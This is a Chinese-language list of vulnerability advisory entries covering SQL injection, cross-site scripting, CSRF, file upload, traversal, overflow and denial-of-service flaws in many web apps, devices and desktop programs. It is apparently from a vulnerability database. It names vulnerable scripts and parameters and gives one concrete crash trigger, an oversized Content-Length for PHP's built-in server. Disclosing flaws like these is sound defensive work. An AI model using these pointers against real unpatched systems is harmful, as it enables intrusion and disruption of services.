AlstraSoft Site Uptime Enterprise是一款网站监测系统。AlstraSoft Site Uptime Enterprise存在跨站请求伪造漏洞，由于程序通过未经验证的HTTP请求执行某些操作，允许攻击者构建恶意链接，诱使登录用户解析。
Flatnux是一个平面文件创建动态网站的CMS（内容管理系统）。Flatnux存在HTML注入漏洞。攻击者可以利用漏洞在受影响的浏览器上下文中执行HTML和脚本代码。
Ticket Support Script是一款基于Web的客户支持软件。Ticket Support Script存在跨站请求伪造漏洞，由于程序通过未经验证的HTTP请求执行某些操作，允许攻击者构建恶意链接，诱使登录用户解析。
Siemens Scalance X Switches是西门子公司开发的交换机设备。Siemens Scalance X Switches存在安全漏洞，可被恶意用户利用漏洞进行拒绝服务攻击。当嵌入式WEB服务器处理HTTP请求时存在错误，攻击者向管理WEB接口发送特制请求可使设备重启。如下模块受此漏洞影响：* Scalance X414-3E* Scalance X308-2M* Scalance X-300EEC* Scalance XR-300* Scalance X-300
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla!组件VirtueMart存在SQL注入漏洞，由于通过"virtuemart_userinfo_id" POST参数传递到index.php/virtue-mart-edit-address(当"option"设置为"com_virtuemart")的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入SQL代码操纵SQL查询。
Siemens SCALANCE S系列安全模块可用于保护以太网所有设备免受无授权访问。Profinet DCP协议处理存在错误，通过特制的DCP帧可使防火墙变得无响应或中断已建立的VPN通道。如下设备受此漏洞影响：* Scalance S602 V2* Scalance S612 V2* Scalance S613 V2
PHP是一种HTML内嵌式的语言。PHP 5.3之后版本弃用了基于POSIX正则表达式的函数，在5.4.0版本中，仍然使用这些函数，导致了绕过memory_limit，通过eregi()耗尽内存。
GENU是一款内容管理系统。GENU存在SQL注入漏洞。由于通过"article_id"参数提交给articles/read.php脚本的输入在用于SQL查询之前缺少过滤，攻击者可以提交恶意SQL查询，获得数据库敏感信息或劫持用户会话。
NetOp是一款远程桌面控制软件。NetOp远程控制客户端由于其处理较长的字符串存在错误，可导致缓冲区溢出。攻击者可通过欺骗用户打开含有超过520字符的精心构造的字符串以利用此漏洞，执行任意代码。
通元内容管理系统（CMS）专门用于国内大中型企业、政府、ICP的网站建设。由于通元内容管理系统使用了较低版本的FCKeditor编辑器，该编辑器存在上传漏洞，攻击者可上传脚本木马，获取服务器控制权限。
通元内容管理系统（CMS）专门用于国内大中型企业、政府、ICP的网站建设。通元内容管理系统（CMS）存在文件上传漏洞，由于系统上传模块未对用户上传的文件进行合法性校验，攻击者可通过修改提交表单，绕过验证机制，上传木马。
通元内容管理系统（CMS）专门用于国内大中型企业、政府、ICP的网站建设。通元内容管理系统（CMS）存在信息泄露漏洞，由于系统选择用户模块未对页面进行权限验证，造成系统中的用户名信息泄漏。
Samedia LandShop中存在多个SQL注入漏洞和HTML注入漏洞，这些漏洞源于对用户提供的输入未经充分过滤。攻击者可利用这些漏洞操控应用程序、访问或修改数据、在底层数据库中利用这些漏洞、在受影响站点上下文中执行HTML和脚本代码、盗取基于cookie的认证证书或控制网站传达给用户的方式，也可能执行其他的攻击。
Astaro Command Center 2.x版本中存在多个HTML注入漏洞，这些漏洞源于对用户提供的输入在用于动态生成内容之前未经正确过滤。攻击者提供的HTML和脚本代码可在受影响浏览器上下文中运行，可能允许攻击者盗取基于cookie的认证证书或控制网站传达给用户的方式，也可能执行其他的攻击。
SmartJoBboard中存在多个HTML注入漏洞，这些漏洞源于应用程序对用户提供的输入在用于动态生成内容之前未经正确过滤。攻击者提供的HTML和脚本代码可在受影响浏览器上下文中运行，可能允许攻击者盗取基于cookie的认证证书或者控制网站传达给用户的方式。SmartJoBboard 3.4版本中存在这些漏洞，其他版本也可能受到影响。
Tufin SecureTrack中存在跨站脚本漏洞和多个HTML注入漏洞，这些漏洞源于对用户提供的输入未经充分过滤。攻击者可利用跨站脚本漏洞在受影响页面上下文的不知情用户浏览器上执行任意脚本代码，这可能使攻击者盗取基于cookie的认证证书进而发起其它攻击；攻击者提供的HTML和脚本代码可在受影响浏览器上下文中运行，可能允许攻击者盗取基于cookie的认证证书或控制网站传达给用户的方式。SecureTrack 6.1 build 20596之前版本中存在这些漏洞，其他版本也可能受到影响。
WordPress是一种使用PHP语言开发的博客平台。WordPress TagGator插件存在SQL注入漏洞。由于程序未能充分过滤SQL查询中用户提交的数据，允许攻击者访问或修改数据，或利用底层数据库中的潜在漏洞。
Quest Toad DBA Suite是一款数据库管理员工具与管理工具。Quest Toad DBA Suite提供的ActiveX控件(QExplain2.dll 6.6.1.1115)不正确处理SaveToFile()方法，攻击者构建恶意WEB页，诱使用户解析，可以应用程序权限上下文覆盖系统文件。
Quest Software vWorkspace是一款桌面虚拟化解决方案。Quest Software vWorkspace提供的ActiveX控件(pnllmcli.dll 7.5.304.547)不正确处理SaveMiniLaunchFile()方法，攻击者构建恶意WEB页，诱使用户解析，可以应用程序权限上下文覆盖系统文件。
Sony Bravia KDL-32CX525是一款智能电视设备。Sony Bravia KDL-32CX525存在安全漏洞，允许攻击者使应用程序崩溃，造成拒绝服务攻击。
Sourcefire 3D Sensor和Defense Center都是流行的网络入侵保护系统。Sourcefire 3D Sensor和Defense Center存在多个安全漏洞，允许攻击者进行脚本注入，绕过安全限制，获得敏感信息。（1）部分传递给ComparisonViewer/report.cgi脚本中"file"参数的输入在用于显示文件之前缺少校验，可被利用通过目录遍历序列获取系统任意文件。（2）应用设备没有正确限制对webroot部分文件的访问，可被利用下载或泄露配置文件信息。（3）不正确对RUA代理授权，可被利用以高特权访问数据库。（4）当重命名新标签时，传递给dashboard的输入在使用之前缺少过滤，可导致跨站脚本漏洞。
Juniper Networks的Secure Access是企业级的SSL VPN接入设备，设备上所运行的操作系统为Juniper IVE OS。部分传递给SSL VPN服务器中Network Connect (NC)/Pulse特性的输入在返回用户之前缺少过滤，可导致跨站脚本攻击，攻击者构建恶意URI，诱使用户解析，可获得敏感信息或劫持用户会话。
VBulletin是一款流行的论坛程序。VBulletin announcement.php脚本不正确处理提交给announcementid的参数，攻击者可以提交恶意SQL查询，获得敏感数据库信息或控制应用系统。
Xion Audio Player是一款音频播放器。Xion Audio Player不正确处理'.aiff'文件，攻击者可以构建恶意文件，诱使用户解析，可使应用程序崩溃。
Siemens Scalance Firewall可以多种方式过滤进站和出站网络连接，保证可信工业网络的安全。Siemens Scalance Firewall在实现上存在多个漏洞，可被恶意用户利用执行暴力攻击或造成拒绝服务。1）Web配置接口登录失败直接的时间延迟缺失可导致暴力攻击的可行性增大；2）在处理Profinet DCP协议时，通过特制的DCP报文，可造成防火墙不响应并中断已经建立的VPN通道。
phpPaleo是一个开源的PHP项目管理数据库。phpPaleo存在本地文件包含漏洞。由于程序未能对用户的输入做充分的过滤，攻击者可以利用此漏洞通过Web服务进程查看文件和执行本地脚本，这可能有助于进一步攻击。
TP-Link 8840T是一款DSL路由器。TP-Link 8840T DSL路由器默认启用远程管理特性，TP-Link 8840T DSL路由器默认允许远程Internet用户访问设备的管理WEB接口，未验证远程攻击者可以绕过安全限制访问WEB接口。
SnackAmp是一款音频处理器。SnackAmp存在拒绝服务漏洞。由于SnackAmp未能正确处理'.aiff'文件，攻击者构建恶意文件，诱使用户解析，可使应用程序崩溃。
Sun Java Runtime Environment是一款为JAVA应用程序提供可靠的运行环境的解决方案。Oracle Java SE存在未明安全绕过漏洞，允许攻击者利用这些漏洞绕过Java沙盒的安全限制。允许攻击者在系统上以受漏洞影响的应用程序上下文执行受限操作。
Zend Optimizer用优化代码的方法来提高PHP应用程序的执行速度。windows下的Zend Optimizer安装程序未能正确设置'ZendExtensionManager.dll'和'ZendOptimizer.dll'库文件权限('Everyone'组可控制)，攻击者可以使用恶意文件替换库提升特权。
IBM Event Pump主要用于搜索主机系统的事件信息。IBM Tivoli Event Pump把用户验证凭据以明文方式存储在AOPSCLOG数据集中，允许本地攻击者获得存储的敏感信息。要成功利用漏洞需要"VALIDATE_SOAP_USERS"和"LOG_REQUESTS"设置为"YES"。
Intuit QuickBooks是一款商务财务软件。Intuit QuickBooks 'HelpAsyncPluggableProtocol.dll'存在安全漏洞，攻击者可以利用漏洞获得应用程序所在系统中的任意文件内容。
IBM Tivoli Directory Server是一款功能强大的LDAP目录服务实现。IBM Tivoli Directory Server存在跨站脚本漏洞。由于传递给IBM Tivoli Directory Server WEB管理工具的未明输入在返回用户之前缺少过滤，可导致跨站脚本攻击，攻击者可以构建恶意URI，诱使用户解析，可获得敏感信息或劫持用户会话。
IBM Cognos TM1中小企业群市场版本是一套一体化的业务分析解决方案，用以有效管理并提升财务绩效。IBM Cognos TM1存在安全漏洞，允许恶意用户以应用程序上下文执行任意代码。处理请求时IBM Cognos TM1管理服务组件存在错误，可触发缓冲区溢出。
Csound是一个多平台的声音设计工具，可以处理数字音频。Csound "main()"函数(util/lpci_main.c)存在整数溢出，可被触发基于堆的缓冲区溢出，允许攻击者以应用程序上下文执行任意代码。
Firewall Analyzer是一款防火墙日志分析软件。Firewall Analyzer存在多个输入验证问题，远程攻击者可以利用漏洞进行跨站脚本攻击，构建恶意URI，诱使用户解析，可获得敏感信息或劫持用户会话。
Csound是一个多平台的声音设计工具，可以处理数字音频。Csound "main()"函数(util/lpci_main.c)存在边界错误，可被触发基于栈的缓冲区溢出，允许攻击者以应用程序上下文执行任意代码。
Sysax Multi Server是windows平台下的SSH2和FTP服务器。Sysax Multi Server不正确处理用户提交给"file"参数的输入，攻击者可以利用漏洞通过目录遍历序列进行攻击，可获得敏感文件信息。
FoxMediaTools FoxPlayer是一款媒体播放程序。FoxPlayer存在漏洞。由于FoxPlayer未能正确处理'.m3u'文件，攻击者可以构建恶意文件，诱使用户解析，使应用程序崩溃。
Joomla!是基于php mysql模式的快速建站系统。Joomla!存在相关权限检查的错误，攻击者可以利用漏洞获得管理员后端的敏感信息。
NetGear ProSafe Wireless-N 8-port Gigabit VPN Firewall FVS318N是一款无线路由器。Netgear ProSafe Wireless-N 8-port Gigabit VPN Firewall FVS318N路由器远程管理特性默认开启，Netgear ProSafe VS318N路由器允许远程默认允许远程Internet用户访问管理WEB接口。攻击者可以绕过限制，访问设备管理WEB接口。
Joomla!是基于php mysql模式的快速建站系统。通过Update管理程序传递的输入在返回用户之前缺少过滤，可被利用进行跨站脚本攻击，攻击者构建恶意URI，诱使用户解析，可获得敏感信息或劫持用户会话。
Check Point Endpoint Security是一款防御检测系统，Check Point Integrity是一款端点安全解决方案。Check Point Endpoint Security和Check Point Integrity绑定使用的JRuby存在哈希碰撞安全漏洞，允许远程攻击者对受影响产品进行拒绝服务攻击。
Arbor Networks Peakflow SP解决方案是一种全网基础架构安全和流量监控平台。Arbor Networks Peakflow SP登录页面存在跨站脚本漏洞，允许攻击者构建恶意URI，诱使用户解析，可获得敏感信息或劫持用户会话。
Ghostscript是一款用于显示PostScript文件或向非PostScript打印机打印文件的程序。当处理"OutputFile"设备参数时存在边界错误，在PostScript文档中设置超长文件名字符串可触发基于堆的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
PHP Designer----php程序和WEB开发的最好编辑器和PHP IDE。支持FreeBSD，还包括其他方面的小改进、bug修复等。PHP Designer 2007-Personal存在多个SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
ArticleSetup是一款网络软件。ArticleSetup存在SQL注入漏洞，由于通过"userid"和"password"参数传递到login.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
ArticleSetup是一款网络软件。ArticleSetup存在SQL注入漏洞，由于通过"s"参数传递到search.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
ArticleSetup是一款网络软件。ArticleSetup存在SQL注入漏洞，由于通过"cat"参数传递到feed.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
ArticleSetup是一款网络软件。ArticleSetup存在脚本注入漏洞，由于通过"title", "body和"resource"参数传递到submit.php的输入在使用前未能正确过滤，在恶意数据被查看时，攻击者可以利用漏洞在受影响站点上下文的的用户浏览器会话中执行任意HTML和脚本代码。
ArticleSetup是一款网络软件。ArticleSetup存在跨站脚本漏洞，由于通过's'参数传递到search.php的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Gitblit是一个纯Java库，用来管理、查看和处理Git资料库。Gitblit存在会话固定漏洞。由于在处理会话造成的错误，可以利用诱骗用户特制链接后，攻击者可以利用漏洞劫持在登录另一个用户的会话。
TYPO3 Basic SEO推广存在未明跨站脚本漏洞TYPO3 Basic SEO存在未明跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress集成存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
JAMWiki 是一个用Java实现的开源Wiki引擎，实现了大部分MediaWiki的功能，无需 数据库支持。JAMWiki 存在跨站脚本漏洞。由于通过"num"参数传递至Special:AllPages的输入，在被返回至用户前未能正确过滤，攻击者可利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Coppermine是用PHP编写的多用途集成Web图形库脚本。Coppermine Photo Gallery存在脚本注入漏洞。由于通过"keywords" POST参数传递至edit_one_pic.php的输入，在被返回至用户前未能正确过滤，当恶意数据被查看时，攻击者可利用漏洞在受影响站点上下文的用户浏览器会话中注入任意HTML和脚本代码。..
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3 Event Board（&lsquo;kb_eventboard&rsquo;）扩展中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。Event Board（&lsquo; kb_eventboard&rsquo;）1.0.31版本中存在该漏洞，之前版本也可能受到影响。
e107 是一个开源、免费的内容管理系统，由PHP编写，使用MySQL数据库。  e107中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或在底层数据库中利用该漏洞。e107 1.0.0版本中存在该漏洞，其他版本也可能受到影响。
MyBB是一款流行的Web论坛程序。 MyBB在实现上存在跨站脚本漏洞，利用漏洞可允许攻击者执行任意脚本代码、窃取cookie验证凭证。
iRODS是一款分布式存储资源和资料管理系统。iRODS存在多个未明错误，目前没有详细漏洞细节提供。
MyBB是一款流行的Web论坛程序。 MyBB在实现上存在SQL注入漏洞，利用漏洞可允许攻击者控制应用、访问或修改数据。
Intuit QuickBooks是一款商务财务软件。Intuit QuickBooks存在漏洞。由于Intuit QuickBooks 'HelpAsyncPluggableProtocol.dll'未能正确解析URL，攻击者构建恶意URL，诱使用户解析，可触发基于堆的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
F5 FirePass SSL VPN设备允许用户安全的连接到关键业务应用设备上。 F5在FirePass的实现上存在SQL注入漏洞，成功利用后可允许未验证的攻击者控制应用、访问或修改数据。
Havalite CMS是一款内容管理系统。Havalite CMS存在安全漏洞。由于hava_post.php未能正确处理用户提交给postId的参数，攻击者可以利用漏洞导致SQL注入。
GetSimple CMS是一款内容管理系统。GetSimple CMS存在漏洞。由于GetSimple CMS 'filebrowser.php'脚本未能正确校验上传文件，可被上传任意PHP文件并以WEB权限执行。
EMC Data Protection Advisor是一款备份报告和分析软件报告应用解决方案。EMC Data Protection Advisor存在安全漏洞，允许恶意用户对应用程序进行拒绝服务攻击。当处理某些验证报文时DPA控制器服务存在空指针引用错误，向TCP 3916端口发送特制的报文可使服务崩溃。
Bitsmith Software Personal Knowbase是一款存储和编辑文本格式的软件。Bitsmith Software Personal Knowbase knowbase.exe存在缓冲区溢出，如果注册键[HKEY_CURRENT_USER/Software/Bitsmith Software/Personal Knowbase/Directories]中的键值包含超长字符串可触发此漏洞。攻击者操作注册键值并诱使用户打开和取消FileOpen对话框可使应用程序崩溃。
FreePBX是IP电话工具Asterisk的标准化实现，可提供Web配置界面和其他工具。FreePBX callmenum存在远程执行代码漏洞。由于在callme_page.php处理'callmenum'参数时，可能在callme_startcall函数的'$channel'变量中注入代码。攻击者可利用此漏洞远程执行任意代码。
Skype是一款流行的P2P VoIP软件，可提供高质量的语音通讯服务。当通过通信盒子处理特制的符号消息时，Skype存在一个指针破坏漏洞。此漏洞允许攻击者阻止，崩溃或删除已连接会议人/团体的通信消息盒子。
EasyPHP专为PHP语言提供的完整的可执行开发环境。EasyPHP存在漏洞。由于EasyPHP 'main.php'未能正确过滤用户提交的参数，攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库。
Drupal是一款流行的内容管理系统。Drupal Bundle copy模块存在漏洞。由于Drupal Bundle copy模块未能正确检查"use PHP for settings"权限，可被利用导入某些设置而执行任意PHP代码。要成功利用漏洞需要 "administer taxonomy", "administer content types"或"administer users"权限。
Barracuda Cloud Control Center是一款云端服务控制中心。Barracuda Cloud Control Center存在HTML注入漏洞。攻击者可以利用漏洞获得敏感信息或劫持用户会话。
Barracuda Cloud Control Center是一款云端服务控制中心。Barracuda Cloud Control Center存在跨站脚本漏洞。攻击者可以利用漏洞获得敏感信息或劫持用户会话。
SWTOR CharDB是一款基于PHP的字符数据库。SWTOR CharDB存在安全漏洞，由于通过"userun" POST参数传递到user/registration.php的输入在被使用前未能正确过滤，在恶意数据被查看时，攻击者可以在受影响站点上下文的用户浏览器会话中注入HTML和脚本代码。
phpPgAdmin是一款基于PHP开发的免费软件包，为PostgreSQL数据库管理提供图形界面。  phpPgAdmin 5.0.4之前版本中存在跨站脚本漏洞，该漏洞源于对用户提供的数据未经充分过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意HTML和脚本代码，盗取基于cookie的认证证书进而发起其他攻击。
Invision Power Board是一款基于WEB的PHP论坛程序。  Invision Power Board中存在跨站脚本漏洞，该漏洞源于对用户提供的输入未经过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。 Invision Power Board 4.2.1版本中存在该漏洞，其他版本也可能受到影响。
D-Link DCS-5605是一款用于远程监控的网络摄像产品。当浏览设备WEB接口时，用户会被要求安装Active控件以查看视频流内容，DcsCliCtrl.dll包含的控件中使用不安全的SelectDirectory()方法，由于DcsCliCtrl.dll使用不安全的lstrcpyW()调用，提交特制参数可触发基于栈的缓冲区溢出。
eGroupWare是一套由PHP语言所开发的群组协同作业软件。eGroupWare存在多个输入验证过滤问题，可导致类似本地文件包含，SQL注入，反射型跨站脚本攻击，开放重定向等攻击。可泄露敏感信息，或未授权控制应用程序。
Apple Safari是一款流行的WEB浏览器。windows下的Apple Safari存在安全漏洞，攻击者可以构建恶意WEB页，诱使用户解析，可在地址栏中显示任意可信URI信息，而伪造WEB页内容。
Ipswitch WhatsUp Gold是一款监视TCP/IP,NetBEUI和IPX网络状态使用方便的工具。Ipswitch WhatsUp Gold存在目录遍历漏洞。由于部分传递给HTML/NmConsole/Reports/Full/Common/Export/ExportViewer.asp脚本的输入在用于显示文件之前缺少充分校验，可被利用通过目录遍历序列请求获得任意文件内容。
Novell iManager是一款基于WEB的应用程序，可以使用无线设备管理、配置Novell eDirectory对象。Novell iManager存在多个安全漏洞，部分输入在返回用户或用于SQL查询之前之前缺少过滤，可导致跨站脚本攻击，被利用注入任意HTML和脚本代码，当恶意数据被查看时可以浏览器上下文执行，或导致SQL注入攻击。
Joomla!是基于php mysql模式的快速建站系统。Joomla!存在一个不充分权限检查错误，攻击者可以利用漏洞获得管理员后端的部分敏感信息。
Joomla!是基于php mysql模式的快速建站系统。Joomla!密码生成算法存在错误可生成可猜测密码，攻击者可以利用漏洞通过密码重置功能可猜测生成的密码信息。
TomatoCart是一个开源电子商务应用程序。TomatoCart 'json.php'不正确过滤用户提交的URI输入，攻击者通过目录遍历序列可绕过WEB ROOT限制，以WEB权限查看系统文件内容。
TRENDnet TV-IP121WN是一款用于监控的网络摄像机解决方案。当浏览TRENDnet TV-IP121WN设备WEB接口时，会要求安装ActiveX控件，UltraMJCamX.ocx控件不正确调用OpenFileDlg()方法，攻击者可以提交超长参数由于不安全调用WideCharToMultiByte()溢出缓冲区，成功利用漏洞可以以应用程序上下文执行任意代码。
vBShop模块2.2.3之前版本中存在多个HTML注入漏洞，这些漏洞源于对用户提供的输入在用于动态生成内容之前未经正确过滤。成功利用这些漏洞将允许攻击者提供的HTML和脚本代码在受影响浏览器上下文中运行，可能允许攻击者盗取基于cookie的认证证书或控制网站传达给用户的方式，也可能执行其他攻击。
Matthew1471 BlogX中存在多个跨站脚本漏洞，这些漏洞源于对用户提供的输入未经充分过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。
Event Calendar PHP是一个日历脚本。 Event Calendar PHP存在跨站脚本漏洞。由于程序未能过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
vBulletin是一款基于PHP的论坛程序。vBDownloads vBulletin模块存在HTML注入漏洞。由于程序未能过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
SWTOR CharDB是一款基于PHP的字符数据库。SWTOR CharDB存在SQL注入漏洞，由于通过"userun" POST参数传递到user/registration.php 的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
SWTOR CharDB是一款基于PHP的字符数据库。SWTOR CharDB存在SQL注入漏洞，由于通过"swtorun" POST参数传递到user/login_check.php 的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操作SQL查询。
Drupal是一个开源的内容管理系统(CMS) 平台。Drupal Views Language Switcher模块存在跨站脚本漏洞。于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark MP2T存在漏洞会分配大量内存而使应用程序崩溃，允许攻击者向监听的网络注入畸形报文或诱使用户读取畸形包跟踪文件来触发此漏洞。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark IEEE 802.11解析器存在无限循环漏洞，允许攻击者向监听的网络注入畸形报文或诱使用户读取畸形包跟踪文件，可使Wireshark崩溃。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark处理'ERF'数据存在安全问题，允许攻击者向监听的网络注入畸形报文或诱使用户读取畸形包跟踪文件使应用程序崩溃。
Kayako Fusion是一款服务台和即时聊天软件。Kayako Fusion存在HTML注入漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark ANSI A解析器存在引用空指针问题，允许攻击者向监听的网络注入畸形报文或诱使用户读取畸形包跟踪文件使应用程序崩溃。
NextBBS是一个开源的PHP编写网上论坛系统。NextBBS存在认证绕过漏洞。攻击者可以利用漏洞绕过认证过程获得未经授权的访问系统。
NextBBS是一个开源的PHP编写网上论坛系统。NextBBS存在跨站脚本漏洞。攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
NextBBS是一个开源的PHP编写网上论坛系统。NextBBS存在SQL注入漏洞。攻击者可以利用漏洞危及应用程序，访问或修改数据，利用底层数据库中的潜在漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Tree Page View存在跨站脚本漏洞，由于传递到e.g. wp-admin/edit.php中"cms_tpv_view"参数的输入(当"post_type"设置为"page"和"page"设置为"cms-tpv-page-page")在wp-content/plugins/cms-tree-page-view/functions.php中的"cms_tpv_admin_head()"方法中被返回用户前未能正确过滤，攻击者利用漏洞可在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Geeklog是免费开源的博客软件。Geeklog 'index.php'不正确过滤用户提交的输入，远程攻击者可以提交恶意SQL查询，更改原来的SQL逻辑，获得敏感信息或操作数据库，控制应用系统。
Opera是一款开源的WEB浏览器。Opera处理重定向到一个缓慢响应时存在错误，可被利用在地址栏显示可信WEB站点URL同时显示任意实体内容。
Opera是一款开源的WEB浏览器。Opera当显示某些对话框时存在错误，可被利用在地址栏显示可信WEB站点URL同时显示任意实体内容。
FreePBX是一款用来控制Asterisk的图形化接口。FreePBX记录接口存在输入验证问题，远程攻击者可利用此漏洞以应用程序上下文执行任意代码。
Opera是一款开源的WEB浏览器。Opera显示下载对话框时存在错误，可被利用使用其他内容覆盖对话框之后诱使用户下载和执行文件。
Opera是一款开源的WEB浏览器。Opera当很小的窗口中显示下载对话框时存在错误，可被利用诱使用户输入特定键盘序列下载和执行文件。
vBQuiz存在HTML注入漏洞。由于程序未能过滤用户提供的输入，攻击者在受影响站点的上下文中运行提供的HTML或者JavaScript代码，窃取基于cookie的认证证书并控制网站是如何呈现给用户。
vBulletin是一款基于PHP的应用程序。vBulletin存在HTML注入漏洞。由于程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
vBulletin是一款基于PHP的应用程序。vBulletin Forumon RPG module存在HTML注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
MediaWiki是一套以GPL授权发行的Wiki引擎。MediaWiki存在跨站脚本漏洞，由于传递到创建页面时的wikitext解析器的某些未明输入在使用前未能正确过滤，当恶意数据被查看时，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中注入任意HTML和脚本代码。
MediaWiki是一套以GPL授权发行的Wiki引擎。MediaWiki存在跨站请求伪造漏洞，由于程序未能限制访问user.tokens模块，攻击者可以利用漏洞泄露用户的令牌。
CMSimple是基于PHP的小型网站内容管理工具。 CMSimple存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并发动其他攻击。
MediaWiki是一套以GPL授权发行的Wiki引擎。MediaWiki存在跨站请求伪造漏洞，由于程序通过未经验证的HTTP请求执行某些操作，允许攻击者构建恶意链接，诱使登录用户解析。
PBLang是一个基于PHP支持国际化的BBS系统。它不需要任何数据库，数据全部存储在文件系统中。 PBLang存在本地文件包含漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在web服务进程的上下文中执行脚本，查看文件，这可能导致进一步的攻击。
vbShout是一款PHP开发的商业论坛系统。vBShout存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并发动其他攻击。
vbShout是一款PHP开发的商业论坛系统。vBShout存在多个HTML注入漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
RIPS是一款静态源代码分析工具，主要用来挖掘PHP程序的漏洞。RIPS code.php脚本未能正确解析提交给'file'参数的数据，攻击者可以提交包含目录遍历序列的请求，以WEB权限查看系统文件内容。
Real Networks RealPlayer是流行的媒体播放器。Real Networks RealPlayer处理'.mp4'文件存在内存破坏问题，远程攻击者可以构建恶意文件，诱使用户解析，可使应用程序崩溃或者可能以应用程序上下文执行任意代码。
PHP是一款流行的服务器端脚本语言。向内置PHP WEB服务器提交包含超大Content-Length头字段值的HTTP请求，可触发拒绝服务条件。Content-Length头字段值直接提交给sapi/cli/php_cli_server.c 1538行中的pemalloc()调用，定义在Zend/zend_alloc.h中malloc()的内联函数会失败，触发"Out of memory"错误消息并终止进程。1534 static int php_cli_server_client_read_request_on_body(php_http_parser *parser, const char *at, size_t length)1535 {1536 php_cli_server_client *client = parser->data;1537 if (!client->request.content) {1538 client->request.content = pemalloc(parser->content_length, 1);1539 client->request.content_len = 0;1540 }1541 memmove(client->request.content   client->request.content_len, at, length);1542 client->request.content_len  = length;1543 return 0;1544 }设置Content-Length头字段值为"2^31 - 10"(接近系统平台如32位的int上限值)可触发此条件。
Hitachi IT Operations是用于数据监控和IT系统管理的解决方案。Hitachi IT Operations Director和Analyzer未能正确过滤用户提交的输入，远程攻击者可以利用漏洞进行跨站脚本攻击，构建恶意URI，诱使用户解析，可获得敏感信息或劫持用户会话。
Family Connections是一个开放源代码的内容管理系统，它可以容易和方便的创建私人家庭站点。Family Connections存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据，并发动其他攻击。
FlexNet License Server Manager是一款多个供应商使用的许可证服务管理程序。FlexNet License Server Manager存在安全漏洞，允许未授权攻击者以应用程序上下文执行任意代码。lmgrd许可证服务管理程序存在缺陷，lmgrd默认监听TCP 27000端口，向服务器发送特制的报文可触发基于栈的益处，允许以服务器上下文执行任意代码。
